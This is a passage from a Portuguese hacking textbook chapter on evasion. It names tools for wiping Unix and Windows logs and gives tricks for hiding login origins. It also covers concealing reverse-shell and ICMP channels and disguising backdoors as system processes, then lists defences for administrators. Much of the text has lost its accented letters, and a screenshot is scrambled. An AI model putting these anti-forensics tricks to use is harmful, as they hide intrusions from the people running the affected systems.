as menes a ele nesses arquivos. Ento nosso intrpido invasor usa o pico (...)
para editar, por exemplo, o /var/log/wtmp e tem uma desagradvel surpresa:
o arquivo no de texto puro, mas binrio! O mesmo ocorre com /var/run/
utmp e com /var/log/lastlog. Ento, o que fazer? Desespero...
Conforme dissemos antes, h ferramentas automticas para limpeza do utmp,
wtmp e lastlog. Uma delas (entre muitas) o Hide (www.hoobie.net/security/
exploits/hacking/hide.c). Este pequeno programa apaga as entradas do usurio
que o executou no arquivo utmp, caso esteja liberado para escrita para aquele
usurio. Obviamente sistemas modernos no cometem essa tolice e deixam o
utmp liberado apenas para root, mas uma excelente prova de conceito.
O cdigo-fonte do programa, sendo pequeno, fcil de entender. Obviamente
a esta altura o leitor j deve saber que ter de compilar o programinha para
que ele funcione. Dependendo do sistema, podem ser necessrias algumas alteraes. No Conectiva Linux 9, por exemplo, bastou substituir todas as funes
exit( ) por exit(O). Nota-se a que o candidato a hacker deve obrigatoriamente
aprender a programar (ou pelo menos, a "se virar") em C e C++. Se voc no
quer aprender a programar, bem, jogue este livro fora: voc no quer, defmitivamente, elevar seu nvel tcnico, mas apenas aprender receitinhas de ataque
simples. Hackers riem de vocs, enquanto isso.
No mesmo site encontramos outra ferramenta muito famosa, desenvolvida pelo
no menos famoso hacker Simp1e Nomad, chamada (puxa...) Remove
(www.hoobie.net/security/exploits/hacking/remove.c). Com ela, possvel remover quaisquer usurios de qualquer um dos trs arquivos utmp, wtmp e lastlog. Foi
desenvolvidaparaAIX,mas pode ser facilmente compilada (como est ou com modificaes simples) em qualquer sabor de Unix, incluindo linux e {Free,Open,Net}BSD.
Alm de remover os registros referentes a qualquer usurio (e no apenas ao que
executar a ferramenta, como o Hide), o Remove permite que se altere o ltimo usurio que fez login e o local de login (IP,se remoto; tty ou pst, se local).

13431
I

Ataque, defesa e contra-ataque:

Evaso

I Universidade

H4CK3R I

Compile e teste os dois programas em sua mquina de testes. Faa vrias


experincias, como aumentar e diminuir o nvel de permisses dos seus utmp,
wtmp e lastlog e rodar as duas ferramentas. Note que, num ataque real, o invasor normalmente precisa de um shell root para rodar o Remove, embora no
precise, necessariamente, de tantos privilgios para atacar o sistema. Depois
de brincar com esses, procure por outros tipos de ferramentas. Nomes muito
comuns so Cloak, Cloak2 (ou Cloak-2) Zap e LogWEdit. Muitos rootkits possuem ferramentas (embutidas ou no) para edio desses arquivos. Veja, por
exemplo, a documentao do Knark e do Irk5. Mas lembre-se: nunca use a pea
redonda no buraco quadrado! Pesquise sobre a ferramenta correta para o Unix
que est sendo atacado.
Caso nenhuma dessas ferramentas esteja disponvel no momento, alguns truques podem ajud-Io a permanecer escondido por algum tempo. Por exemplo,
quando se acessa o sistema por uma conta "hackeada", provavelmente o acesso
vai ficar gravado no arquivo lastlog, com o IP de conexo ou o nome de domnio
correspondente. Para apagar isso (ao menos no lastlog), uma vez feito o login
com sucesso, rode o comando rlogin na mesma conta. Pronto! Agora, o ltimo
login desta conta ter sido local, e no arquivo lastlog aparecer "from localhost".
Falta enganar o comando who. Uma vez logado no sistema (e depois de enganar o lastlog...), use o comando login e fornea, novamente, o usurio e senha
desta conta. Dependendo do Unix (e de quanto ele est atualizado...), isso esconder a origem da conexo, fazendo o comando who pensar que algum
est conectado localmente.
Para terminar, procure pelos logs especficos dos servidores e aplicativos
que rodam no computador invadido. Alm dos logs de sistema, procure pelos
do Apache ou do servidor de FTP'Cada sistema e sabor Unix possuem daemons
de verses e procedncias diferentes e com um procedimento diverso de logging.
No vamos discorrer sobre todas as possibilidades aqui, pois tomaria o espao
de vrios livros como este; mas imperativo que o leitor pesquise sobre isso
no ambiente invadido. justamente por isso que a observao importante,
antes de fazer qualquer coisa.
Como tarefa para casa, experimente verificar os logs do Apache e do Squid
em sua mquina de testes. Experimente simplesmente conectar-se a ela a partir
de outra maquina como um usurio regular (por exemplo, faa uma conexo
SSH a ela, use-a como proxy com o Squid ou acesse uma pgina HTML de
testes). Depois, siga todos os passos de invaso vistos nos captulos anteriores,
desde rodar um nmap contra a mquina at realmente conseguir root por
algum mtodo e alterar alguma coisa. Observe atentamente os arquivos de log
e veja o que acontece.
ltima dica: www.hoobie.net.

13441
Ataque, defesae contra-ataque: Evaso[

Universidade

3a ano

Registro de eventos no Windows NT/2k/XP


Como vimos no captulo sobre plataformas Windows, todo o funcionamento
do Windows baseado em eventos. Portanto, nada mais lgico que seus logs
tambm registrem os diversos eventos ocorridos no sistema. Um servio especial chamado EventLog d conta do recado. E os problemas j comeam por ele
mesmo: os logs s so criados se as rotinas de auditoria do Windows estiverem
ativadas. Como nem todos os administradores o fazem, h a um grande furo de
segurana aproveitado por crackers.
Os eventos so registrados em duas etapas. Em primeiro lugar, so armazenados em arquivos temporrios chamados APPLICATION.LOG,SYSTEM.LOGe
SECURITY.LOG(no Windows XP, esses trs arquivos tornaram dezenas deles
em C\ WINDOWS ou C\ WINN1). Depois de algum tempo, tais dados so guardados em trs arquivos de[mitivos: SecEvent.Evt, SysEvent.Evt e AppEvent.Evt,
todos guardados em C\WINDOWS\SYSTEM32. So arquivos binrios, assim
como o utmp do Unix, e portanto necessitam de aplicativos especficos para
serem editados. Cada um deles, respectivamente, registra um conjunto diferente de eventos: segurana (tentativas de login fracassadas ou no, acesso a arquivos no autorizados, etc), funcionamento do sistema (inicializao, terminao
e falhas em servios e drivers) e funcionamento de aplicativos (inicializao,
terminao e falhas em programas do user space).
Da mesma forma como no registro, que pode ser consultado e alterado com
o uso do RegEdit, os eventos do sistema podem ser visualizados (mas no alterados) com o Event Viewer. Para acess-Io, dique em IniciarlExecutar e rode o
comando eventvwr. A tela apresentada ser parecida com esta:
Observe: foramos alguns acessos~d~jad~
i
com um usuano nao-pn- i
vilegiado e depois anali- i
samos os logs em um
Wmdows XP .

i~ ~ Audlto,las"
~ Audl'o,la s"
~
Audl'o,la

24/612003
24/612003

s".

24/612003

Audlto,las"
Audlto,l. s"
Audl'oda s"
Audl'",la s"
Audl'o,l. s"
# Audl'",la ".
Audlto,lac"
Audlto,lac"
Audl'o,la c"
Audl'",la c"
,fi' Audlto,l. c"

24/612003

19:39:03
19:39:03
19:39:03

IIIIID
19:38:55
19:38:55
19:38:55
19:38:50
19:38:50
19:38:50
19:38:50
19:38:50
19:38:50
19:38:45
19:38:45
19:38:45
19:38:45

Securl',
Securl',
Secu,l'y

Logonde con'a
LogonllogoFF
Logonde con'a

Securl',
Securl'y
Secu,l'y
Secu,lty
Securl',
Securl'y
Securl',
Securl',
Secu,l',
Secu,l',
Securl'y
5ecurl',
Secu,l'y

Logonde con'a

",_IiIi!ffitI.....-

LogonllogoFF
~
Para alterar os logs,
Logonde con'a
~
deve-se usar outras fer~
LogonllogoFF
Logonde con'a
~
Logonllogoff
ramentas, uma vez que
Uso de p,lvllo"
#
o Event Viewer ape#
LogonllogoFf
Logonde con'.
#
nas um visualizador.
#
Monl'ora,o d"
Monl'ora,o d"
H algumas disponMonl'ora,o d"
# Audl'oda".
#
Audl'o,l.
c"
veis em sites de
hackers, mas preciso
fazer alguma pesquisa
para tal. O site NT Security (ntsecurity.nu) oferece uma ferramenta chamada
WinZapper, que permite alterar os logs de servidores Windows NT e 2000.
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003

241612003

1345 I

I Ataque,

defesa e contra-ataque:

Evaso

I Universidade

H4CK3R I

Escondendo suas conexes


J discutimos anterionuente sobre como tornar suas conexes indetectveis.
Comeando com os rootldts, que criam um ambiente artificial e "mentem" sobre as comunicaes existentes, passamos por mtodos de embutir as conexes em outras e acabamos por usar tcnicas que penuitem, inclusive, comunicaes sem conexo. Vamos apenas relembrar algumas das tcnicas vistas, reunidas aqui como uma espcie de "reviso".
Para comear, existem as tcnicas de Layer-Ovistas no captulo anterior e que
usam sniffmg+spoofing para receber comandos na mquina vtima. Adicionalmente, usam o "estofo" e campos inteis nos cabealhos TCP/IP para enviar
dados ao hacker a partir do computador invadido. O hacker tem de se posicionar
no meio do fluxo de dados para poder "esnifar" os pacotes sem perder nada,
uma vez que no so destinados fonualmente a ele.
H dois captulos, vimos como usar o Netcat para "empurrar" um shell com
uma conexo vinda de dentro para fora. Dessa forma, o administrador, mesmo
que verifique a conexo com netstat ou outra ferramenta, ver uma inocente
conexo originada de dentro da rede. H ferramentas que vo mais longe e
mascaram essa conexo como se fosse uma requisio HTTp,POp, FTP ou mesmo SMTPvinda de dentro. Na mquina do hacker, h um programa que simula
o servidor desejado (HTTp'por exemplo) e manda, travestidos de resposta HTTP,
os comandos a serem executados na vtima. Usar HTTP realmente eficaz e
imoral, pois a porta 80 estar sempre aberta para que usurios internos faam
conexes Web.
H ainda duas maneiras adicionais (entre muitas outras) que deixamos como
trabalho para casa. possvel, em mquinas Unix, "ricochetear" um X-terminal
para a mquina do hacker, caso o servidor X esteja rodando e sua porta (normalmente a 6000) esteja aberta e no filtrada. E tambm possvel trocar informaes entre a mquina do hacker e a vtima (seja Windows, Unix, Macintosh,
Novell...) usando trfego ICMP.Dica: Lold.
A maneira de esconder trfego depende de cada caso. H redes em que a
comunicao via ICMP seria impraticvel, pois o firewall bloqueia esse tipo de
trfego. Mas importante que o hacker que queira manter um canal seguro de
comunicao com os backdoors de suas presas imp1emente algum tipo de camuflagem. Hoje em dia, os administradores no so to despreocupados quanto a trfego suspeito como h quatro ou cinco anos.
Uma ltima dica: rode seus backdoors com nomes do sistema, de forma a
aparecerem como processos comuns. Por exemplo, no Windows um servidor
B02K pode ser renomeado para explorer.exe. No Unix, poderia chamar-se
inetd ou lpd.

13461
Ataque, defesae contra-ataque: Evaso[

Universidade 3a ano

Defesa e Contra-ataque
Algumas medidas podem ser tomadas para impedir ou, pelo menos, dificultar o trabalho de camuflagem dos hackers maliciosos.

Apagamento de logs
Em primeiro lugar, certifique-se periodicamente de que a auditoria do sistema esteja realmente rodando, e os logs sendo criados. Em mquinas Unix, verifique o syslogd; no Windows, o EventLog. H hackers que, em vez de editar os
logs, desligam a auditoria e deixam registros falsos e que no mudam nunca.
Administradores "desligados" e alguns verificadores de integridade de arquivos
so enganados com essa tcnica simples e grosseira.
Em segundo lugar, verifique se quem tem permisso de escrita ou mesmo
leitura dos logs realmente deveria possu-Ia. Apesar de bvio, este cuidado geralmente deixado de lado mesmo por administradores experientes. Utilize a
poltica da mxima restrio possvel. Nesse caso, sempre, menos mais.
Aplicar criptografia a terceira providncia bvia. Ao contrrio das duas
anteriores, normalmente os logs no so criptografados por padro, com ferramentas do prprio sistema. Em vez disso, so necessrios programas de terceiros para a tarefa. Cada sistema operacional possui diversas possibilidades.
Contate seu fornecedor para obter mais informaes.
Outra maneira muito eficaz (mas no to bvia) de proteger os logs gravlos em mdias apenas de leitura. CD-Rs so especialmente teis nessa hora.
possvel que haja problemas de desempenho no acesso a disco, mas os drives
mais modernos j possuem velocidade aceitvel para a tarefa. O fato que os
hackers no conseguiro alterar o log porque isso no fisicamente possvel.
Preparar um servidor especial para armazenar os registros de eventos de
todos os outros computadores tambm um artifcio interessante. Isso cria
diversas camadas de dificuldade para o invasor chegar at, ou mesmo saber
onde esto, os verdadeiros arquivos de registro. Novamente, contate seu fornecedor para conhecer as opes de servidores de logging disponveis para seu
sistema operacional.
Um ltimo truque, que no bloqueia, mas retarda o invasor mais habilidoso,
colocar os logs em locais fora do padro e deixar, nos locais-padro, simulacros. Em se tratando de kiddies, esse expediente simples criar a impresso
falsa de que "limparam a barra", quando na verdade continuam sendo
monitorados.

Camuflagem de conexoes
Para comear, e em consonncia com o que vimos nos captulos anteriores, o
invasor no deve conseguir, de forma alguma, acesso privilegiado ao sistema.

13471

I Ataque,

defesa e contra-ataque:

Evaso

I Universidade

H4CK3R

Root ou administrador, esse acesso deve ser evitado ao mximo. Portanto, aplique as correes do seu fabricante, mantenha senhas difceis, desative servios
no usados, bl bl bl... A velha frmula de sempre, que deve ser aplicada a
qualquer situao.
Conhea o que voc est rodando. Saiba os processos que podem e os que
no deveriam aparecer na lista de tarefas, bem como as conexes que deveriam (ou no) estar estabe1ecidas. Verifique-os periodicamente, mais de uma vez
por dia em casos de suspeita de ataque e mais de uma vez por hora caso o
ataque tenha sido detectado.
Uma ltima dica: o Snort consegue detectar canais de comunicao baseados
em ICMP.Snort x Loki... jogo interessante.

Uma despedida?2
Bem, chegamos ao fmal de nossos estudos formais. emocionante v-Io formado e diplomado. Mas lembre-se que sua educao sobre hackerismo no
termina com o ltimo captulo: veja o que preparamos para voc no CD! Alm
disso, faa todas as experincias do livro e visite todos os sites indicados. E
tambm teste todas as ferramentas sugeridas. Voc ver que so muito poucas,
se comparado ao que h disponvel. V atrs! Aprender a ser "hacker" (ou como
quer que voc chame) um processo contnuo.
Despedimo-nos aqui (lgrimas nos olhos!) e esperamos que possamos nos
encontrar em breve, em outro curso, talvez.
Mas mantenha contato com seus velhos professores! Mande-nos suas sugestes, crticas e colaboraes para este livro.Todos esto convidados a participar.
Escreva mesmo!
Nosso endereo: univh4ck3r@digeratLcom.br.
E no esquea de acessar nosso site em www.digerati.com.br/livro
Um grande abrao, e at mais. Happy Hacking!

2 digno de nota que este livro chegou at aqui sem citar nenhuma vez A arte da guerra: Sun Tzu . No
h publicao moderna que no se aproveite desse venervel exemplo da literatura clssica. Os autores
procuraram fugir do lugar-comum, e portanto decidiram (contrariando sugestes disparadas de todos os
lados) no incluir nenhum trecho do milenar compndio. Entretanto, o livro muito bom e vale a pena ser
lido, de graa e on-line, em www.kimsoft.com/polwar.htm.

3481
Ataque, defesa e contra-ataque:

Evaso r

Você também pode gostar